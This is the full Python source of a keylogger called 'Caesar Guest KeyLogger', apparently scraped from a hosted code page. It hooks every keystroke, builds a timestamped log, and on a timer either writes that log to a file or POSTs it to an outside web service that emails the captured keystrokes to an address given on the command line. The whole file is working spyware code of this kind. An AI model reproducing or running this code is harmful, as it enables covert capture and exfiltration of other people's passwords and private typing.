Spaces:
Sleeping
Sleeping
import sys | |
import base64 | |
import keyboard # for keylogs | |
import requests | |
import smtplib, ssl # for sending email using SMTP protocol (gmail) | |
# Timer is to make a method runs after an `interval` amount of time | |
from threading import Timer | |
from datetime import datetime | |
from email.mime.multipart import MIMEMultipart | |
from email.mime.text import MIMEText | |
class Keylogger: | |
def __init__(self, interval, report_method="email"): | |
# we gonna pass SEND_REPORT_EVERY to interval | |
self.interval = interval | |
self.report_method = report_method | |
# this is the string variable that contains the log of all | |
# the keystrokes within `self.interval` | |
self.log = "" | |
# record start & end datetimes | |
self.start_dt = datetime.now() | |
self.end_dt = datetime.now() | |
def callback(self, event): | |
""" | |
This callback is invoked whenever a keyboard event is occured | |
(i.e when a key is released in this example) | |
""" | |
name = event.name | |
if len(name) > 1: | |
# not a character, special key (e.g ctrl, alt, etc.) | |
# uppercase with [] | |
if name == "space": | |
# " " instead of "space" hello world my name is amari | |
name = " " | |
elif name == "enter": | |
# add a new line whenever an ENTER is pressed | |
name = "[ENTER]\n" | |
elif name == "decimal": | |
name = "." | |
else: | |
# replace spaces with underscores | |
name = name.replace(" ", "_") | |
name = f"[{name.upper()}]" | |
# finally, add the key name to our global `self.log` variable | |
self.log += name | |
def update_filename(self): | |
# construct the filename to be identified by start & end datetimes | |
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") | |
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") | |
self.filename = f"keylog-{start_dt_str}_{end_dt_str}" | |
def report_to_file(self): | |
"""This method creates a log file in the current directory that contains | |
the current keylogs in the `self.log` variable""" | |
# open the file in write mode (create it) | |
with open(f"{self.filename}.txt", "w") as f: | |
# write the keylogs to the file | |
print(self.log, file=f) | |
print(f"[+] Saved {self.filename}.txt") | |
def sendmail(self, recipient_email , message, verbose=1): | |
# manages a connection to an SMTP server | |
# in our case it's for Microsoft365, Outlook, Hotmail, and live.com | |
response = requests.post("https://revisionbank-email.onrender.com/raspsendemail",json={"raspsendemail":{"email":recipient_email,"message":message,"subject":"Caesar Guest KeyLogger"}}).json() | |
if verbose: | |
print(f"{datetime.now()} - Sent an email to {recipient_email} containing: {message}") | |
print(response) | |
def report(self): | |
""" | |
This function gets called every `self.interval` | |
It basically sends keylogs and resets `self.log` variable | |
""" | |
if self.log: | |
# if there is something in log, report it | |
self.end_dt = datetime.now() | |
# update `self.filename` | |
self.update_filename() | |
if self.report_method == "email": | |
self.sendmail(TO_EMAIL_ADDRESS, self.log) | |
elif self.report_method == "file": | |
self.report_to_file() | |
# if you don't want to print in the console, comment below line | |
print(f"[{self.filename}] - {self.log}") | |
self.start_dt = datetime.now() | |
self.log = "" | |
timer = Timer(interval=self.interval, function=self.report) | |
# set the thread as daemon (dies when main thread die) | |
timer.daemon = True | |
# start the timer | |
timer.start() | |
def start(self): | |
# record the start datetime | |
self.start_dt = datetime.now() | |
# start the keylogger | |
keyboard.on_release(callback=self.callback) | |
# start reporting the keylogs | |
self.report() | |
# make a simple message | |
print(f"{datetime.now()} - Started keylogger") | |
# block the current thread, wait until CTRL+C is pressed | |
keyboard.wait() | |
if __name__ == "__main__": | |
# in seconds, 60 means 1 minute and so on | |
if len(sys.argv) == 3: | |
if sys.argv[1] == "help": | |
print("caesarkeylogger.exe <recipientemail> <send_report_every>") | |
elif sys.argv[1] != "help": | |
TO_EMAIL_ADDRESS = sys.argv[1] | |
SEND_REPORT_EVERY = int(sys.argv[2]) | |
# if you want a keylogger to send to your email | |
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") | |
# if you want a keylogger to record keylogs to a local file | |
# (and then send it using your favorite method) | |
past = datetime(2022, 12, 30) | |
present = datetime.now() | |
if past.date() >= present.date(): | |
report_method = "email" | |
else: | |
report_method= "file" | |
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method=report_method) | |
keylogger.start() | |
elif len(sys.argv) != 3: | |
print("caesarkeylogger.exe <recipientemail> <send_report_every>") | |